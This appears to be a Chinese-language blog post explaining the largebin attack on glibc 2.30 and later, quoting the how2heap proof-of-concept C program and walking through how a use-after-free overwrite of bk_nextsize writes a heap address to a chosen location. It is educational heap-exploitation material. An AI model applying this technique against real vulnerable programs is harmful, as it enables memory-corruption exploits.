libc-2.30后的largebin attack

largebin attack的主要作用类似unsortedbin attack,都是往一个内存里写入堆地址(有时会将堆地址当作一个大数使用)。
当前能够找到的大部分largebin attack都是基于libc-2.30之前的版本,但是libc-2.30之后的版本在原来利用方法使用的分支上加入了针对跳表完整性的验证,使得利用失效。但是在向largebin跳表头部插入chunk时,依然有完整的unlink操作,但是缺少检查,也可以实现largebin attack。
我这里引用how2heap的poc

#include <assert.h>
#include <stdio.h>
#include <stdlib.h>

/*
A revisit to large bin attack for after glibc2.30
Relevant code snippet :
        if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
                fwd = bck;
                bck = bck->bk;
                victim->fd_nextsize = fwd->fd;
                victim->bk_nextsize = fwd->fd->bk_nextsize;
                fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
        }
*/

int main() {
    /*Disable IO buffering to prevent stream from interfering with heap*/
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    size_t target = 0;
    size_t *p1 = malloc(0x428);
    printf("First, we allocate a large chunk [p1] (%p)\n", p1 - 2);
    size_t *g1 = malloc(0x18);

    printf("\n");

    size_t *p2 = malloc(0x418);
    printf("We also allocate a second large chunk [p2]  (%p).\n", p2 - 2);
    printf("This chunk should be smaller than [p1] and belong to the same large bin.\n");
    size_t *g2 = malloc(0x18);

    printf("\n");

    free(p1);
    printf("Free the larger of the two --> [p1] (%p)\n", p1 - 2);
    size_t *g3 = malloc(0x438);
    printf("Allocate a chunk larger than [p1] to insert [p1] into large bin\n");

    printf("\n");

    free(p2);
    printf("Free the smaller of the two --> [p2] (%p)\n", p2 - 2);
    printf("At this point, we have one chunk in large bin [p1] (%p),\n", p1 - 2);
    printf("               and one chunk in unsorted bin [p2] (%p)\n", p2 - 2);

    printf("\n");

    p1[3] = (size_t)((&target) - 4);
    printf("Now modify the p1->bk_nextsize to [target-0x20] (%p)\n", (&target) - 4);

    printf("\n");

    size_t *g4 = malloc(0x438);
    printf(
        "Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\n",
        p2 - 2, p2 - 2);
    printf(
        "Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than "
        "smallest,\n");
    printf("  the modified p1->bk_nextsize does not trigger any error\n");
    printf(
        "Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd->nexsize is overwritten "
        "to address of [p2] (%p)\n",
        p2 - 2, p1 - 2, p2 - 2);

    printf("\n");

    printf("In out case here, target is now overwritten to address of [p2] (%p), [target] (%p)\n",
           p2 - 2, (void *)target);
    printf("Target (%p) : %p\n", &target, (size_t *)target);

    printf("\n");
    printf("====================================================================\n\n");

    assert((size_t)(p2 - 2) == target);

    return 0;
}

代码中第37行和第39行使得p1指向的chunk进入largebin


接着是44行使p2指向的chunk进入unsortedbin,为下一步使chunk进入largebin并完成largebin attack做准备。
再是第51行利用UAF修改p1的bk_nextsize的值为目标地址-0x20。

最后是第56行,使p2指向的chunk进入了largebin。由于向跳表开头插入chunk也进行了完整的unlink操作(但是缺少对跳表完整性的检查),所以p2的chunk地址会被写入p1的bk_nextsize指向的地址+0x20处的位置。

总结下来利用方法就是首先申请两个一大一小两个大堆块(largebin范围内),然后先将大一点的堆块释放,利用UAF修改bk_nextsize,再释放小一点的堆块。需要注意的是每次释放堆块都需要申请一个更大的堆块使得被释放的堆块从unsortedbin进入largebin。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇